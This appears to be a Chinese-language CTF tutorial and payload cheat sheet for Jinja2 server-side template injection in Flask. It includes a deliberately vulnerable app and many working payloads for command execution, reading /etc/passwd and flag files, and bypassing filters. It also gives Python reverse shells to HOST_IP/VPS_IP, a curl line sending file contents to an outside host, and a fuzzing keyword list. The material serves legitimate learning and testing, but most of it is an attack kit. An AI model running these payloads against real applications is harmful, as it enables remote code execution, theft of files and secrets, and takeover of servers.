模板注入不止与python,其官方存在与各类存在模板引擎的语言中,java,php,js,都有,这里为了方便使用python学习

from flask import Flask
from flask import request
from flask import render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    template = '''
    <p>Hello %s </p>''' % (request.args.get('name'))
    return render_template_string(template)

if __name__ == '__main__':

    app.run()

flask框架使用的是jinja2模板引擎

关键在于

<p>Hello %s </p>''' % (request.args.get('name'))

将输入直接插入了显示,而jinja2会在插入的时候将{{}}中的内容作为变量解析

利用前置知识点

  • 对象
    • python中一切都是对象,创建列表、字符、字典、时候都是在创建对象
  • 继承
    • 对象的类是实例,类是对象的模板,创建对象其实是创建了一个类的实例,python中所有类继承与一个基类,通过创建一个对象反向查找他的类以及他的父类,这样就能从任意对象回到基类,在从此往下查找
  • 魔术方法
    • 通过魔术方法能做到对类的操控,从而完成命令执行或文件读取之类的操作

注入流程

拿基类->找子类->构造命令->拿flag

魔术方法备忘

_ _ _ _ c b b m l a a r a s e o s e s _ s _ e _ _ _ _ _ _

基类

通过mro魔术方法拿到基类

{{request.__class__.__mro__[-1]}}

image.png

调用到基类

查找子类

当调用到基类,我们就可以尝试使用__subclasses__()查找子类

{{request.__class__.__mro__[-1].__subclasses__()}}

image.png

子类的数量非常多,如何定位后面再说,这里先利用<class 'warnings.catch_warnings'>这个子类,定位,初始化,获取方法合集

{{request.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__}}

image.png

定位到命令执行函数,因为eval是一个内置函数,也就是built-in function,所以没办法直接通过.__globals__[eval]来调用,根据helloctf的信息

Python 的内置函数也就是和对象通常是全局可用的,但它们通常不是函数内部的一部分。

所以需要通过__builtins__来访问

image.png

__builtins__['eval']("__import__('os').popen('id').read()")

这样完成了一个命令执行

image.png

文件读取

依此类推,可以使用eval导入文件读取包,实现文件读取例如:

{{request.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__.__builtins__['eval']("__import__('io').open('/etc/passwd').read()")}}

或者我还找到可以使用子类_frozen_importlib_external.FileLoader下的get_data函数

{{request.__class__.__mro__[-1].__subclasses__()[118]["get_data"](0, "/etc/passwd")}}
warnings.catch_warnings
{{request.__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

subprocess.Popen
{{ ''.__class__.__base__.__subclasses__()[X]('id', shell=True, stdout=-1).communicate()[0] }}

_frozen_importlib_external.FileLoader
{{request.__class__.__mro__[-1].__subclasses__()[x]["get_data"](0, "/etc/passwd")}}

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

常见过滤

下划线,引号

使用request绕过

{{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}

可以将payload传入cookies

{{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}

假设要执行

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

按照以上逻辑可拆分为

{{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}
class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /

rce备忘

# 命令执行_eval
 {% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
        {{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
    {% endif %}
{% endfor %}

# 命令执行_os.py
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'os' in x.__init__.__globals__ %}
        {{ x.__init__.__globals__['os'].popen('ls /').read() }}
    {% endif %}
{% endfor %}

# 命令执行_popen
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'popen' in x.__init__.__globals__ %}
        {{ x.__init__.__globals__['popen']('ls /').read() }}
    {% endif %}
{% endfor %}

# 命令执行__frozen_importlib.BuiltinImporter
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if 'BuiltinImporter' in x.__name__ %}
        {{ x["load_module"]("os")["popen"]("ls /").read() }}
    {% endif %}
{% endfor %}

# 命令执行_linecache
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'linecache' in x.__init__.__globals__ %}
        {{ x.__init__.__globals__['linecache']['os'].popen('ls /').read() }}
    {% endif %}
{% endfor %}


# 命令执行_exec(无回显故反弹shell)
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
        {{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
    {% endif %}
{% endfor %}

{{().__class__.__bases__[0].__subclasses__()[216].__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}

# 命令执行_catch_warnings 
{% for x in [].__class__.__base__.__subclasses__() %}{% if 'war' in x.__name__ %}{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# catch_warnings 读取文件
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/app/flag', 'r').read() }}{% endif %}{% endfor %}

# _frozen_importlib_external.FileLoader 读取文件
 {% for x in [].__class__.__base__.__subclasses__() %} # {% for x in [].__class__.__bases__[0].__subclasses__() %}
    {% if 'FileLoader' in x.__name__ %}
        {{ x["get_data"](0,"/etc/passwd")}}
    {% endif %}
{% endfor %}

# 其他RCE
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

信息备忘

__class__            类的一个内置属性表示实例对象的类
__base__             类型对象的直接基类
__bases__            类型对象的全部基类除object),以元组形式类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组在方法解析期间会基于它来查找基类
__subclasses__()     返回这个类的所有子类集合Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module方法以及所有变量
__dic__              类的静态函数类函数普通函数全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例函数都具有的__getattribute__魔术方法事实上在实例化的对象进行.操作的时候形如a.xxx/a.xxx()),都会自动去调用__getattribute__方法因此我们同样可以直接通过这个方法来获取到实例函数的属性
__getitem__()        调用字典中的键值其实就是调用这个魔术方法比如a['b']就是a.__getitem__('b')
__builtins__         内建名称空间内建名称空间有许多名字到对象之间映射而这些名字其实就是内建函数的名称对象就是这些内建函数本身即里面有很多常用的函数__builtins__与__builtin__的区别就不放了百度都有
__import__           动态加载类和函数也就是导入模块经常用于导入os模块__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串可以理解成就是打印出来
url_for              flask的一个方法可以调用当前脚本中的函数可以用于得到__builtins__而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法可以用于得到__builtins__而且url_for.__globals__['__builtins__']含有current_app
lipsum               flask的一个方法可以用于得到__builtins__而且lipsum.__globals__含有os模块{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文一个全局变量

request              可以用于获取字符串来绕过包括下面这些引用一下羽师傅的此外同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1      get传参
request.values.x1    所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1      post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post传参 (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)

config               当前application的所有配置此外也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
self.__dict__        保存当前类实例或对象实例的属性变量键值对字典
{%print("DMIND")%}   控制语句中也能输出

拼接字符{% set ind=dict(ind=a,ex=a)|join%}     变量ind=index
获取字符{{lipsum|string|list|attr('pop')(18)}} 相当于lipsum|string|list|attr('pop')(18)  输出_下划线
得到数字{{lipsum|string|list|attr('index')('g')}} 相当于lipsum|string|list|attr('index')('g') 输出10
运算出其他数字{% set shiba=ten%2bten-two %}        %2b是URL编码后的加号

得到数字{{dict(a=a)|lower|list|count}}得到16
运算出其他数字{{dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count}}得到1

得到任意字符{{dict(dmind=a)|slice(1)|first|first}}得到dmind

获取__builtins__属性{{lipsum.__globals__|attr('get')('__builtins__')}}     利用get()pop()获取属性相当于lipsum.__globals__.get('__builtins__')

lipsum.__globals__.__builtins__  相当于  lipsum|attr('__globals__')|attr('get')('__builtins__')
lipsum.__globals__.__builtins__.chr(95)  相当于  lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('chr')(95)

得到chr函数{%set chr=lipsum.__globals__.__builtins__.chr%}
利用chr()得到字符{{chr(47)~chr(32)}}  47/  32是空格  ~是连接符

利用os执行命令lipsum.__globals__.os.popen('dir').read()  相当于  lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('dir')|attr('read')()
类似的       url_for['__globals__']['os']['popen']('dir').read()

简单的读取文件url_for["__globa"+"ls__"].__builtins__.open("flag.txt").read()

在能执行eval情况下eval(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

fuzz字典

content,hit_count
{
}
"
'
_
(
)
.
=
+
-
*
/
//
%
>
<
>=
<=
==
!=
;
\n
\r
\t
,
config
g.pop
url_for
lipsum
get_flashed_messages
application
self
cycler
joiner
namespace
eval
exec
compile
input
getattr
setattr
globals
locals
open
os
system
subprocess
popen
__class__
__dict__
__getattr__
__setattr__
__globals__
__builtins__
__subclasses__
__mro__
__call__
__init__
import
__import__
from
as
sys
socket
.get()
.setdefault()
.items()
.keys()
.values()
[]
#
{% %}
{{ }}
1
2
3
4
5
6
7
8
9
0
request
args
key
data
json
form
values
cookies
headers